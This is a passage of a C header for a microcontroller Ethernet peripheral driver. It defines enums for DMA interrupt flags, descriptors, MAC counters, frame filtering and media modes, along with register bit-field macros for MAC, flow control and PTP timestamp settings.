ENET_DMA_INT_FLAG_RBU_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 7U), /*!< receive buffer unavailable status flag */ ENET_DMA_INT_FLAG_RPS_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 8U), /*!< receive process stopped status flag */ ENET_DMA_INT_FLAG_RWT_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 9U), /*!< receive watchdog timeout status flag */ ENET_DMA_INT_FLAG_ET_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 10U), /*!< early transmit status flag */ ENET_DMA_INT_FLAG_FBE_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 13U), /*!< fatal bus error status flag */ ENET_DMA_INT_FLAG_ER_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 14U), /*!< early receive status flag */ ENET_DMA_INT_FLAG_AI_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 15U), /*!< abnormal interrupt summary flag */ ENET_DMA_INT_FLAG_NI_CLR = ENET_REGIDX_BIT(DMA_STAT_REG_OFFSET, 16U), /*!< normal interrupt summary flag */ } enet_int_flag_clear_enum; /* current RX/TX descriptor/buffer/descriptor table address get */ typedef enum { ENET_RX_DESC_TABLE = DMA_RDTADDR_REG_OFFSET, /*!< RX descriptor table */ ENET_RX_CURRENT_DESC = DMA_CRDADDR_REG_OFFSET, /*!< current RX descriptor */ ENET_RX_CURRENT_BUFFER = DMA_CRBADDR_REG_OFFSET, /*!< current RX buffer */ ENET_TX_DESC_TABLE = DMA_TDTADDR_REG_OFFSET, /*!< TX descriptor table */ ENET_TX_CURRENT_DESC = DMA_CTDADDR_REG_OFFSET, /*!< current TX descriptor */ ENET_TX_CURRENT_BUFFER = DMA_CTBADDR_REG_OFFSET /*!< current TX buffer */ } enet_desc_reg_enum; /* MAC statistics counter get */ typedef enum { ENET_MSC_TX_SCCNT = MSC_SCCNT_REG_OFFSET, /*!< MSC transmitted good frames after a single collision counter */ ENET_MSC_TX_MSCCNT = MSC_MSCCNT_REG_OFFSET, /*!< MSC transmitted good frames after more than a single collision counter */ ENET_MSC_TX_TGFCNT = MSC_TGFCNT_REG_OFFSET, /*!< MSC transmitted good frames counter */ ENET_MSC_RX_RFCECNT = MSC_RFCECNT_REG_OFFSET, /*!< MSC received frames with CRC error counter */ ENET_MSC_RX_RFAECNT = MSC_RFAECNT_REG_OFFSET, /*!< MSC received frames with alignment error counter */ ENET_MSC_RX_RGUFCNT = MSC_RGUFCNT_REG_OFFSET /*!< MSC received good unicast frames counter */ } enet_msc_counter_enum; /* function option, used for ENET initialization */ typedef enum { FORWARD_OPTION = BIT(0), /*!< configure the frame forward related parameters */ DMABUS_OPTION = BIT(1), /*!< configure the DMA bus mode related parameters */ DMA_MAXBURST_OPTION = BIT(2), /*!< configure the DMA max burst related parameters */ DMA_ARBITRATION_OPTION = BIT(3), /*!< configure the DMA arbitration related parameters */ STORE_OPTION = BIT(4), /*!< configure the store forward mode related parameters */ DMA_OPTION = BIT(5), /*!< configure the DMA control related parameters */ VLAN_OPTION = BIT(6), /*!< configure the VLAN tag related parameters */ FLOWCTL_OPTION = BIT(7), /*!< configure the flow control related parameters */ HASHH_OPTION = BIT(8), /*!< configure the hash list high 32-bit related parameters */ HASHL_OPTION = BIT(9), /*!< configure the hash list low 32-bit related parameters */ FILTER_OPTION = BIT(10), /*!< configure the frame filter control related parameters */ HALFDUPLEX_OPTION = BIT(11), /*!< configure the halfduplex related parameters */ TIMER_OPTION = BIT(12), /*!< configure the frame timer related parameters */ INTERFRAMEGAP_OPTION = BIT(13), /*!< configure the inter frame gap related parameters */ } enet_option_enum; /* phy mode and mac loopback configurations */ typedef enum { ENET_AUTO_NEGOTIATION = 0x01u, /*!< PHY auto negotiation */ ENET_100M_FULLDUPLEX = (ENET_MAC_CFG_SPD | ENET_MAC_CFG_DPM), /*!< 100Mbit/s, full-duplex */ ENET_100M_HALFDUPLEX = ENET_MAC_CFG_SPD, /*!< 100Mbit/s, half-duplex */ ENET_10M_FULLDUPLEX = ENET_MAC_CFG_DPM, /*!< 10Mbit/s, full-duplex */ ENET_10M_HALFDUPLEX = (uint32_t)0x00000000U, /*!< 10Mbit/s, half-duplex */ ENET_LOOPBACKMODE = (ENET_MAC_CFG_LBM | ENET_MAC_CFG_DPM) /*!< MAC in loopback mode at the MII */ } enet_mediamode_enum; /* IP frame checksum function */ typedef enum { ENET_NO_AUTOCHECKSUM = (uint32_t)0x00000000U, /*!< disable IP frame checksum function */ ENET_AUTOCHECKSUM_DROP_FAILFRAMES = ENET_MAC_CFG_IPFCO, /*!< enable IP frame checksum function */ ENET_AUTOCHECKSUM_ACCEPT_FAILFRAMES = (ENET_MAC_CFG_IPFCO | ENET_DMA_CTL_DTCERFD) /*!< enable IP frame checksum function, and the received frame with only payload error but no other errors will not be dropped */ } enet_chksumconf_enum; /* received frame filter function */ typedef enum { ENET_PROMISCUOUS_MODE = ENET_MAC_FRMF_PM, /*!< promiscuous mode enabled */ ENET_RECEIVEALL = (int32_t)ENET_MAC_FRMF_FAR, /*!< all received frame are forwarded to application */ ENET_BROADCAST_FRAMES_PASS = (uint32_t)0x00000000U, /*!< the address filters pass all received broadcast frames */ ENET_BROADCAST_FRAMES_DROP = ENET_MAC_FRMF_BFRMD /*!< the address filters filter all incoming broadcast frames */ } enet_frmrecept_enum; /* register group value get */ typedef enum { ALL_MAC_REG = 0, /*!< MAC register group */ ALL_MSC_REG = 22, /*!< MSC register group */ ALL_PTP_REG = 33, /*!< PTP register group */ ALL_DMA_REG = 44, /*!< DMA register group */ } enet_registers_type_enum; /* dma direction select */ typedef enum { ENET_DMA_TX = ENET_DMA_STAT_TP, /*!< DMA transmit direction */ ENET_DMA_RX = ENET_DMA_STAT_RP /*!< DMA receive direction */ } enet_dmadirection_enum; /* PHY operation direction select */ typedef enum { ENET_PHY_READ = (uint32_t)0x00000000, /*!< read PHY */ ENET_PHY_WRITE = ENET_MAC_PHY_CTL_PW /*!< write PHY */ } enet_phydirection_enum; /* register operation direction select */ typedef enum { ENET_REG_READ, /*!< read register */ ENET_REG_WRITE /*!< write register */ } enet_regdirection_enum; /* ENET MAC addresses */ typedef enum { ENET_MAC_ADDRESS0 = ((uint32_t)0x00000000), /*!< MAC address0 */ ENET_MAC_ADDRESS1 = ((uint32_t)0x00000008), /*!< MAC address1 */ ENET_MAC_ADDRESS2 = ((uint32_t)0x00000010), /*!< MAC address2 */ ENET_MAC_ADDRESS3 = ((uint32_t)0x00000018) /*!< MAC address3 */ } enet_macaddress_enum; /* descriptor information */ typedef enum { TXDESC_COLLISION_COUNT, /*!< the number of collisions occurred before the frame was transmitted */ TXDESC_BUFFER_1_ADDR, /*!< transmit frame buffer 1 address */ RXDESC_FRAME_LENGTH, /*!< the byte length of the received frame that was transferred to the buffer */ RXDESC_BUFFER_1_SIZE, /*!< receive buffer 1 size */ RXDESC_BUFFER_2_SIZE, /*!< receive buffer 2 size */ RXDESC_BUFFER_1_ADDR /*!< receive frame buffer 1 address */ } enet_descstate_enum; /* MSC counters preset mode */ typedef enum { ENET_MSC_PRESET_NONE = 0U, /*!< do not preset MSC counter */ ENET_MSC_PRESET_HALF = ENET_MSC_CTL_PMC, /*!< preset all MSC counters to almost-half(0x7FFF FFF0) value */ ENET_MSC_PRESET_FULL = ENET_MSC_CTL_PMC | ENET_MSC_CTL_AFHPM /*!< preset all MSC counters to almost-full(0xFFFF FFF0) value */ } enet_msc_preset_enum; /* structure for initialization of the ENET */ typedef struct { uint32_t option_enable; /*!< select which function to configure */ uint32_t forward_frame; /*!< frame forward related parameters */ uint32_t dmabus_mode; /*!< DMA bus mode related parameters */ uint32_t dma_maxburst; /*!< DMA max burst related parameters */ uint32_t dma_arbitration; /*!< DMA Tx and Rx arbitration related parameters */ uint32_t store_forward_mode; /*!< store forward mode related parameters */ uint32_t dma_function; /*!< DMA control related parameters */ uint32_t vlan_config; /*!< VLAN tag related parameters */ uint32_t flow_control; /*!< flow control related parameters */ uint32_t hashtable_high; /*!< hash list high 32-bit related parameters */ uint32_t hashtable_low; /*!< hash list low 32-bit related parameters */ uint32_t framesfilter_mode; /*!< frame filter control related parameters */ uint32_t halfduplex_param; /*!< halfduplex related parameters */ uint32_t timer_config; /*!< frame timer related parameters */ uint32_t interframegap; /*!< inter frame gap related parameters */ } enet_initpara_struct; /* structure for ENET DMA desciptors */ typedef struct { uint32_t status; /*!< status */ uint32_t control_buffer_size; /*!< control and buffer1, buffer2 lengths */ uint32_t buffer1_addr; /*!< buffer1 address pointer/timestamp low */ uint32_t buffer2_next_desc_addr; /*!< buffer2 or next descriptor address pointer/timestamp high */ #ifdef SELECT_DESCRIPTORS_ENHANCED_MODE uint32_t extended_status; /*!< extended status */ uint32_t reserved; /*!< reserved */ uint32_t timestamp_low; /*!< timestamp low */ uint32_t timestamp_high; /*!< timestamp high */ #endif /* SELECT_DESCRIPTORS_ENHANCED_MODE */ } enet_descriptors_struct; /* structure of PTP system time */ typedef struct { uint32_t second; /*!< second of system time */ uint32_t nanosecond; /*!< nanosecond of system time */ uint32_t sign; /*!< sign of system time */ } enet_ptp_systime_struct; /* mac_cfg register value */ #define MAC_CFG_BOL(regval) (BITS(5,6) & ((uint32_t)(regval) << 5)) /*!< write value to ENET_MAC_CFG_BOL bit field */ #define ENET_BACKOFFLIMIT_10 MAC_CFG_BOL(0) /*!< min (n, 10) */ #define ENET_BACKOFFLIMIT_8 MAC_CFG_BOL(1) /*!< min (n, 8) */ #define ENET_BACKOFFLIMIT_4 MAC_CFG_BOL(2) /*!< min (n, 4) */ #define ENET_BACKOFFLIMIT_1 MAC_CFG_BOL(3) /*!< min (n, 1) */ #define MAC_CFG_IGBS(regval) (BITS(17,19) & ((uint32_t)(regval) << 17)) /*!< write value to ENET_MAC_CFG_IGBS bit field */ #define ENET_INTERFRAMEGAP_96BIT MAC_CFG_IGBS(0) /*!< minimum 96 bit times */ #define ENET_INTERFRAMEGAP_88BIT MAC_CFG_IGBS(1) /*!< minimum 88 bit times */ #define ENET_INTERFRAMEGAP_80BIT MAC_CFG_IGBS(2) /*!< minimum 80 bit times */ #define ENET_INTERFRAMEGAP_72BIT MAC_CFG_IGBS(3) /*!< minimum 72 bit times */ #define ENET_INTERFRAMEGAP_64BIT MAC_CFG_IGBS(4) /*!< minimum 64 bit times */ #define ENET_INTERFRAMEGAP_56BIT MAC_CFG_IGBS(5) /*!< minimum 56 bit times */ #define ENET_INTERFRAMEGAP_48BIT MAC_CFG_IGBS(6) /*!< minimum 48 bit times */ #define ENET_INTERFRAMEGAP_40BIT MAC_CFG_IGBS(7) /*!< minimum 40 bit times */ #define ENET_TYPEFRAME_CRC_DROP_ENABLE ENET_MAC_CFG_TFCD /*!< FCS field(last 4 bytes) of frame will be dropped before forwarding */ #define ENET_TYPEFRAME_CRC_DROP_DISABLE ((uint32_t)0x00000000U) /*!< FCS field(last 4 bytes) of frame will not be dropped before forwarding */ #define ENET_TYPEFRAME_CRC_DROP ENET_MAC_CFG_TFCD /*!< the function that FCS field(last 4 bytes) of frame will be dropped before forwarding */ #define ENET_WATCHDOG_ENABLE ((uint32_t)0x00000000U) /*!< the MAC allows no more than 2048 bytes of the frame being received */ #define ENET_WATCHDOG_DISABLE ENET_MAC_CFG_WDD /*!< the MAC disables the watchdog timer on the receiver, and can receive frames of up to 16384 bytes */ #define ENET_JABBER_ENABLE ((uint32_t)0x00000000U) /*!< the maximum transmission byte is 2048 */ #define ENET_JABBER_DISABLE ENET_MAC_CFG_JBD /*!< the maximum transmission byte can be 16384 */ #define ENET_CARRIERSENSE_ENABLE ((uint32_t)0x00000000U) /*!< the MAC transmitter generates carrier sense error and aborts the transmission */ #define ENET_CARRIERSENSE_DISABLE ENET_MAC_CFG_CSD /*!< the MAC transmitter ignores the MII CRS signal during frame transmission in half-duplex mode */ #define ENET_SPEEDMODE_10M ((uint32_t)0x00000000U) /*!< 10 Mbit/s */ #define ENET_SPEEDMODE_100M ENET_MAC_CFG_SPD /*!< 100 Mbit/s */ #define ENET_RECEIVEOWN_ENABLE ((uint32_t)0x00000000U) /*!< the MAC receives all packets that are given by the PHY while transmitting */ #define ENET_RECEIVEOWN_DISABLE ENET_MAC_CFG_ROD /*!< the MAC disables the reception of frames in half-duplex mode */ #define ENET_LOOPBACKMODE_ENABLE ENET_MAC_CFG_LBM /*!< the MAC operates in loopback mode at the MII */ #define ENET_LOOPBACKMODE_DISABLE ((uint32_t)0x00000000U) /*!< the MAC operates in normal mode */ #define ENET_MODE_FULLDUPLEX ENET_MAC_CFG_DPM /*!< full-duplex mode enable */ #define ENET_MODE_HALFDUPLEX ((uint32_t)0x00000000U) /*!< half-duplex mode enable */ #define ENET_CHECKSUMOFFLOAD_ENABLE ENET_MAC_CFG_IPFCO /*!< IP frame checksum offload function enabled for received IP frame */ #define ENET_CHECKSUMOFFLOAD_DISABLE ((uint32_t)0x00000000U) /*!< the checksum offload function in the receiver is disabled */ #define ENET_RETRYTRANSMISSION_ENABLE ((uint32_t)0x00000000U) /*!< the MAC attempts retries up to 16 times based on the settings of BOL*/ #define ENET_RETRYTRANSMISSION_DISABLE ENET_MAC_CFG_RTD /*!< the MAC attempts only 1 transmission */ #define ENET_AUTO_PADCRC_DROP_ENABLE ENET_MAC_CFG_APCD /*!< the MAC strips the Pad/FCS field on received frames */ #define ENET_AUTO_PADCRC_DROP_DISABLE ((uint32_t)0x00000000U) /*!< the MAC forwards all received frames without modify it */ #define ENET_AUTO_PADCRC_DROP ENET_MAC_CFG_APCD /*!< the function of the MAC strips the Pad/FCS field on received frames */ #define ENET_DEFERRALCHECK_ENABLE ENET_MAC_CFG_DFC /*!< the deferral check function is enabled in the MAC */ #define ENET_DEFERRALCHECK_DISABLE ((uint32_t)0x00000000U) /*!< the deferral check function is disabled */ /* mac_frmf register value */ #define MAC_FRMF_PCFRM(regval) (BITS(6,7) & ((uint32_t)(regval) << 6)) /*!< write value to ENET_MAC_FRMF_PCFRM bit field */ #define ENET_PCFRM_PREVENT_ALL MAC_FRMF_PCFRM(0) /*!< MAC prevents all control frames from reaching the application */ #define ENET_PCFRM_PREVENT_PAUSEFRAME MAC_FRMF_PCFRM(1) /*!< MAC only forwards all other control frames except pause control frame */ #define ENET_PCFRM_FORWARD_ALL MAC_FRMF_PCFRM(2) /*!< MAC forwards all control frames to application even if they fail the address filter */ #define ENET_PCFRM_FORWARD_FILTERED MAC_FRMF_PCFRM(3) /*!< MAC forwards control frames that only pass the address filter */ #define ENET_RX_FILTER_DISABLE ENET_MAC_FRMF_FAR /*!< all received frame are forwarded to application */ #define ENET_RX_FILTER_ENABLE ((uint32_t)0x00000000U) /*!< only the frame passed the filter can be forwarded to application */ #define ENET_SRC_FILTER_NORMAL_ENABLE ENET_MAC_FRMF_SAFLT /*!< filter source address */ #define ENET_SRC_FILTER_INVERSE_ENABLE (ENET_MAC_FRMF_SAFLT | ENET_MAC_FRMF_SAIFLT) /*!< inverse source address filtering result */ #define ENET_SRC_FILTER_DISABLE ((uint32_t)0x00000000U) /*!< source address function in filter disable */ #define ENET_SRC_FILTER ENET_MAC_FRMF_SAFLT /*!< filter source address function */ #define ENET_SRC_FILTER_INVERSE ENET_MAC_FRMF_SAIFLT /*!< inverse source address filtering result function */ #define ENET_BROADCASTFRAMES_ENABLE ((uint32_t)0x00000000U) /*!< the address filters pass all received broadcast frames */ #define ENET_BROADCASTFRAMES_DISABLE ENET_MAC_FRMF_BFRMD /*!< the address filters filter all incoming broadcast frames */ #define ENET_DEST_FILTER_INVERSE_ENABLE ENET_MAC_FRMF_DAIFLT /*!< inverse DA filtering result */ #define ENET_DEST_FILTER_INVERSE_DISABLE ((uint32_t)0x00000000U) /*!< not inverse DA filtering result */ #define ENET_DEST_FILTER_INVERSE ENET_MAC_FRMF_DAIFLT /*!< inverse DA filtering result function */ #define ENET_PROMISCUOUS_ENABLE ENET_MAC_FRMF_PM /*!< promiscuous mode enabled */ #define ENET_PROMISCUOUS_DISABLE ((uint32_t)0x00000000U) /*!< promiscuous mode disabled */ #define ENET_MULTICAST_FILTER_HASH_OR_PERFECT (ENET_MAC_FRMF_HMF | ENET_MAC_FRMF_HPFLT) /*!< pass multicast frames that match either the perfect or the hash filtering */ #define ENET_MULTICAST_FILTER_HASH ENET_MAC_FRMF_HMF /*!< pass multicast frames that match the hash filtering */ #define ENET_MULTICAST_FILTER_PERFECT ((uint32_t)0x00000000U) /*!< pass multicast frames that match the perfect filtering */ #define ENET_MULTICAST_FILTER_NONE ENET_MAC_FRMF_MFD /*!< all multicast frames are passed */ #define ENET_MULTICAST_FILTER_PASS ENET_MAC_FRMF_MFD /*!< pass all multicast frames function */ #define ENET_MULTICAST_FILTER_HASH_MODE ENET_MAC_FRMF_HMF /*!< HASH multicast filter function */ #define ENET_FILTER_MODE_EITHER ENET_MAC_FRMF_HPFLT /*!< HASH or perfect filter function */ #define ENET_UNICAST_FILTER_EITHER (ENET_MAC_FRMF_HUF | ENET_MAC_FRMF_HPFLT) /*!< pass unicast frames that match either the perfect or the hash filtering */ #define ENET_UNICAST_FILTER_HASH ENET_MAC_FRMF_HUF /*!< pass unicast frames that match the hash filtering */ #define ENET_UNICAST_FILTER_PERFECT ((uint32_t)0x00000000U) /*!< pass unicast frames that match the perfect filtering */ #define ENET_UNICAST_FILTER_HASH_MODE ENET_MAC_FRMF_HUF /*!< HASH unicast filter function */ /* mac_phy_ctl register value */ #define MAC_PHY_CTL_CLR(regval) (BITS(2,4) & ((uint32_t)(regval) << 2)) /*!< write value to ENET_MAC_PHY_CTL_CLR bit field */ #define ENET_MDC_HCLK_DIV42 MAC_PHY_CTL_CLR(0) /*!< HCLK:60-100 MHz; MDC clock= HCLK/42 */ #define ENET_MDC_HCLK_DIV62 MAC_PHY_CTL_CLR(1) /*!< HCLK:100-120 MHz; MDC clock= HCLK/62 */ #define ENET_MDC_HCLK_DIV16 MAC_PHY_CTL_CLR(2) /*!< HCLK:20-35 MHz; MDC clock= HCLK/16 */ #define ENET_MDC_HCLK_DIV26 MAC_PHY_CTL_CLR(3) /*!< HCLK:35-60 MHz; MDC clock= HCLK/26 */ #define MAC_PHY_CTL_PR(regval) (BITS(6,10) & ((uint32_t)(regval) << 6)) /*!< write value to ENET_MAC_PHY_CTL_PR bit field */ #define MAC_PHY_CTL_PA(regval) (BITS(11,15) & ((uint32_t)(regval) << 11)) /*!< write value to ENET_MAC_PHY_CTL_PA bit field */ /* mac_phy_data register value */ #define MAC_PHY_DATA_PD(regval) (BITS(0,15) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_MAC_PHY_DATA_PD bit field */ /* mac_fctl register value */ #define MAC_FCTL_PLTS(regval) (BITS(4,5) & ((uint32_t)(regval) << 4)) /*!< write value to ENET_MAC_FCTL_PLTS bit field */ #define ENET_PAUSETIME_MINUS4 MAC_FCTL_PLTS(0) /*!< pause time minus 4 slot times */ #define ENET_PAUSETIME_MINUS28 MAC_FCTL_PLTS(1) /*!< pause time minus 28 slot times */ #define ENET_PAUSETIME_MINUS144 MAC_FCTL_PLTS(2) /*!< pause time minus 144 slot times */ #define ENET_PAUSETIME_MINUS256 MAC_FCTL_PLTS(3) /*!< pause time minus 256 slot times */ #define ENET_ZERO_QUANTA_PAUSE_ENABLE ((uint32_t)0x00000000U) /*!< enable the automatic zero-quanta generation function */ #define ENET_ZERO_QUANTA_PAUSE_DISABLE ENET_MAC_FCTL_DZQP /*!< disable the automatic zero-quanta generation function */ #define ENET_ZERO_QUANTA_PAUSE ENET_MAC_FCTL_DZQP /*!< the automatic zero-quanta generation function */ #define ENET_MAC0_AND_UNIQUE_ADDRESS_PAUSEDETECT ENET_MAC_FCTL_UPFDT /*!< besides the unique multicast address, MAC also use the MAC0 address to detect pause frame */ #define ENET_UNIQUE_PAUSEDETECT ((uint32_t)0x00000000U) /*!< only the unique multicast address for pause frame which is specified in IEEE802.3 can be detected */ #define ENET_RX_FLOWCONTROL_ENABLE ENET_MAC_FCTL_RFCEN /*!< enable decoding function for the received pause frame and process it */ #define ENET_RX_FLOWCONTROL_DISABLE ((uint32_t)0x00000000U) /*!< decode function for pause frame is disabled */ #define ENET_RX_FLOWCONTROL ENET_MAC_FCTL_RFCEN /*!< decoding function for the received pause frame and process it */ #define ENET_TX_FLOWCONTROL_ENABLE ENET_MAC_FCTL_TFCEN /*!< enable the flow control operation in the MAC */ #define ENET_TX_FLOWCONTROL_DISABLE ((uint32_t)0x00000000U) /*!< disable the flow control operation in the MAC */ #define ENET_TX_FLOWCONTROL ENET_MAC_FCTL_TFCEN /*!< the flow control operation in the MAC */ #define ENET_BACK_PRESSURE_ENABLE ENET_MAC_FCTL_FLCBBKPA /*!< enable the back pressure operation in the MAC */ #define ENET_BACK_PRESSURE_DISABLE ((uint32_t)0x00000000U) /*!< disable the back pressure operation in the MAC */ #define ENET_BACK_PRESSURE ENET_MAC_FCTL_FLCBBKPA /*!< the back pressure operation in the MAC */ #define MAC_FCTL_PTM(regval) (BITS(16,31) & ((uint32_t)(regval) << 16)) /*!< write value to ENET_MAC_FCTL_PTM bit field */ /* mac_vlt register value */ #define MAC_VLT_VLTI(regval) (BITS(0,15) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_MAC_VLT_VLTI bit field */ #define ENET_VLANTAGCOMPARISON_12BIT ENET_MAC_VLT_VLTC /*!< only low 12 bits of the VLAN tag are used for comparison */ #define ENET_VLANTAGCOMPARISON_16BIT ((uint32_t)0x00000000U) /*!< all 16 bits of the VLAN tag are used for comparison */ /* mac_wum register value */ #define ENET_WUM_FLAG_WUFFRPR ENET_MAC_WUM_WUFFRPR /*!< wakeup frame filter register poniter reset */ #define ENET_WUM_FLAG_WUFR ENET_MAC_WUM_WUFR /*!< wakeup frame received */ #define ENET_WUM_FLAG_MPKR ENET_MAC_WUM_MPKR /*!< magic packet received */ #define ENET_WUM_POWER_DOWN ENET_MAC_WUM_PWD /*!< power down mode */ #define ENET_WUM_MAGIC_PACKET_FRAME ENET_MAC_WUM_MPEN /*!< enable a wakeup event due to magic packet reception */ #define ENET_WUM_WAKE_UP_FRAME ENET_MAC_WUM_WFEN /*!< enable a wakeup event due to wakeup frame reception */ #define ENET_WUM_GLOBAL_UNICAST ENET_MAC_WUM_GU /*!< any received unicast frame passed filter is considered to be a wakeup frame */ /* mac_dbg register value */ #define ENET_MAC_RECEIVER_NOT_IDLE ENET_MAC_DBG_MRNI /*!< MAC receiver is not in idle state */ #define ENET_RX_ASYNCHRONOUS_FIFO_STATE ENET_MAC_DBG_RXAFS /*!< Rx asynchronous FIFO status */ #define ENET_RXFIFO_WRITING ENET_MAC_DBG_RXFW /*!< RxFIFO is doing write operation */ #define ENET_RXFIFO_READ_STATUS ENET_MAC_DBG_RXFRS /*!< RxFIFO read operation status */ #define ENET_RXFIFO_STATE ENET_MAC_DBG_RXFS /*!< RxFIFO state */ #define ENET_MAC_TRANSMITTER_NOT_IDLE ENET_MAC_DBG_MTNI /*!< MAC transmitter is not in idle state */ #define ENET_MAC_TRANSMITTER_STATUS ENET_MAC_DBG_SOMT /*!< status of MAC transmitter */ #define ENET_PAUSE_CONDITION_STATUS ENET_MAC_DBG_PCS /*!< pause condition status */ #define ENET_TXFIFO_READ_STATUS ENET_MAC_DBG_TXFRS /*!< TxFIFO read operation status */ #define ENET_TXFIFO_WRITING ENET_MAC_DBG_TXFW /*!< TxFIFO is doing write operation */ #define ENET_TXFIFO_NOT_EMPTY ENET_MAC_DBG_TXFNE /*!< TxFIFO is not empty */ #define ENET_TXFIFO_FULL ENET_MAC_DBG_TXFF /*!< TxFIFO is full */ #define GET_MAC_DBG_RXAFS(regval) GET_BITS((regval),1,2) /*!< get value of ENET_MAC_DBG_RXAFS bit field */ #define GET_MAC_DBG_RXFRS(regval) GET_BITS((regval),5,6) /*!< get value of ENET_MAC_DBG_RXFRS bit field */ #define GET_MAC_DBG_RXFS(regval) GET_BITS((regval),8,9) /*!< get value of ENET_MAC_DBG_RXFS bit field */ #define GET_MAC_DBG_SOMT(regval) GET_BITS((regval),17,18) /*!< get value of ENET_MAC_DBG_SOMT bit field */ #define GET_MAC_DBG_TXFRS(regval) GET_BITS((regval),20,21) /*!< get value of ENET_MAC_DBG_TXFRS bit field */ /* mac_addr0h register value */ #define MAC_ADDR0H_ADDR0H(regval) (BITS(0,15) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_MAC_ADDR0H_ADDR0H bit field */ /* mac_addrxh register value, x = 1,2,3 */ #define MAC_ADDR123H_ADDR123H(regval) (BITS(0,15) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_MAC_ADDRxH_ADDRxH(x=1,2,3) bit field */ #define ENET_ADDRESS_MASK_BYTE0 BIT(24) /*!< low register bits [7:0] */ #define ENET_ADDRESS_MASK_BYTE1 BIT(25) /*!< low register bits [15:8] */ #define ENET_ADDRESS_MASK_BYTE2 BIT(26) /*!< low register bits [23:16] */ #define ENET_ADDRESS_MASK_BYTE3 BIT(27) /*!< low register bits [31:24] */ #define ENET_ADDRESS_MASK_BYTE4 BIT(28) /*!< high register bits [7:0] */ #define ENET_ADDRESS_MASK_BYTE5 BIT(29) /*!< high register bits [15:8] */ #define ENET_ADDRESS_FILTER_SA BIT(30) /*!< use MAC address[47:0] is to compare with the SA fields of the received frame */ #define ENET_ADDRESS_FILTER_DA ((uint32_t)0x00000000) /*!< use MAC address[47:0] is to compare with the DA fields of the received frame */ /* mac_fcth register value */ #define MAC_FCTH_RFA(regval) ((BITS(0,2) & ((uint32_t)(regval) << 0))<<8) /*!< write value to ENET_MAC_FCTH_RFA bit field */ #define ENET_ACTIVE_THRESHOLD_256BYTES MAC_FCTH_RFA(0) /*!< threshold level is 256 bytes */ #define ENET_ACTIVE_THRESHOLD_512BYTES MAC_FCTH_RFA(1) /*!< threshold level is 512 bytes */ #define ENET_ACTIVE_THRESHOLD_768BYTES MAC_FCTH_RFA(2) /*!< threshold level is 768 bytes */ #define ENET_ACTIVE_THRESHOLD_1024BYTES MAC_FCTH_RFA(3) /*!< threshold level is 1024 bytes */ #define ENET_ACTIVE_THRESHOLD_1280BYTES MAC_FCTH_RFA(4) /*!< threshold level is 1280 bytes */ #define ENET_ACTIVE_THRESHOLD_1536BYTES MAC_FCTH_RFA(5) /*!< threshold level is 1536 bytes */ #define ENET_ACTIVE_THRESHOLD_1792BYTES MAC_FCTH_RFA(6) /*!< threshold level is 1792 bytes */ #define MAC_FCTH_RFD(regval) ((BITS(4,6) & ((uint32_t)(regval) << 4))<<8) /*!< write value to ENET_MAC_FCTH_RFD bit field */ #define ENET_DEACTIVE_THRESHOLD_256BYTES MAC_FCTH_RFD(0) /*!< threshold level is 256 bytes */ #define ENET_DEACTIVE_THRESHOLD_512BYTES MAC_FCTH_RFD(1) /*!< threshold level is 512 bytes */ #define ENET_DEACTIVE_THRESHOLD_768BYTES MAC_FCTH_RFD(2) /*!< threshold level is 768 bytes */ #define ENET_DEACTIVE_THRESHOLD_1024BYTES MAC_FCTH_RFD(3) /*!< threshold level is 1024 bytes */ #define ENET_DEACTIVE_THRESHOLD_1280BYTES MAC_FCTH_RFD(4) /*!< threshold level is 1280 bytes */ #define ENET_DEACTIVE_THRESHOLD_1536BYTES MAC_FCTH_RFD(5) /*!< threshold level is 1536 bytes */ #define ENET_DEACTIVE_THRESHOLD_1792BYTES MAC_FCTH_RFD(6) /*!< threshold level is 1792 bytes */ /* msc_ctl register value */ #define ENET_MSC_COUNTER_STOP_ROLLOVER ENET_MSC_CTL_CTSR /*!< counter stop rollover */ #define ENET_MSC_RESET_ON_READ ENET_MSC_CTL_RTOR /*!< reset on read */ #define ENET_MSC_COUNTERS_FREEZE ENET_MSC_CTL_MCFZ /*!< MSC counter freeze */ /* ptp_tsctl register value */ #define PTP_TSCTL_CKNT(regval) (BITS(16,17) & ((uint32_t)(regval) << 16)) /*!< write value to ENET_PTP_TSCTL_CKNT bit field */ #define ENET_RXTX_TIMESTAMP ENET_PTP_TSCTL_TMSEN /*!< enable timestamp function for transmit and receive frames */ #define ENET_PTP_TIMESTAMP_INT ENET_PTP_TSCTL_TMSITEN /*!< timestamp interrupt trigger enable */ #define ENET_ALL_RX_TIMESTAMP ENET_PTP_TSCTL_ARFSEN /*!< all received frames are taken snapshot */ #define ENET_NONTYPE_FRAME_SNAPSHOT ENET_PTP_TSCTL_ESEN /*!< take snapshot when received non type frame */ #define ENET_IPV6_FRAME_SNAPSHOT ENET_PTP_TSCTL_IP6SEN /*!< take snapshot for IPv6 frame */ #define ENET_IPV4_FRAME_SNAPSHOT ENET_PTP_TSCTL_IP4SEN /*!< take snapshot for IPv4 frame */ #define ENET_PTP_FRAME_USE_MACADDRESS_FILTER ENET_PTP_TSCTL_MAFEN /*!< enable MAC address1-3 to filter the PTP frame */ /* ptp_ssinc register value */ #define PTP_SSINC_STMSSI(regval) (BITS(0,7) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_PTP_SSINC_STMSSI bit field */ /* ptp_tsl register value */ #define GET_PTP_TSL_STMSS(regval) GET_BITS((uint32_t)(regval),0,30) /*!< get value of ENET_PTP_TSL_STMSS bit field */ #define ENET_PTP_TIME_POSITIVE ((uint32_t)0x00000000) /*!< time value is positive */ #define ENET_PTP_TIME_NEGATIVE ENET_PTP_TSL_STS /*!< time value is negative */ #define GET_PTP_TSL_STS(regval) (((regval) & BIT(31)) >> (31U)) /*!< get value of ENET_PTP_TSL_STS bit field */ /* ptp_tsul register value */ #define PTP_TSUL_TMSUSS(regval) (BITS(0,30) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_PTP_TSUL_TMSUSS 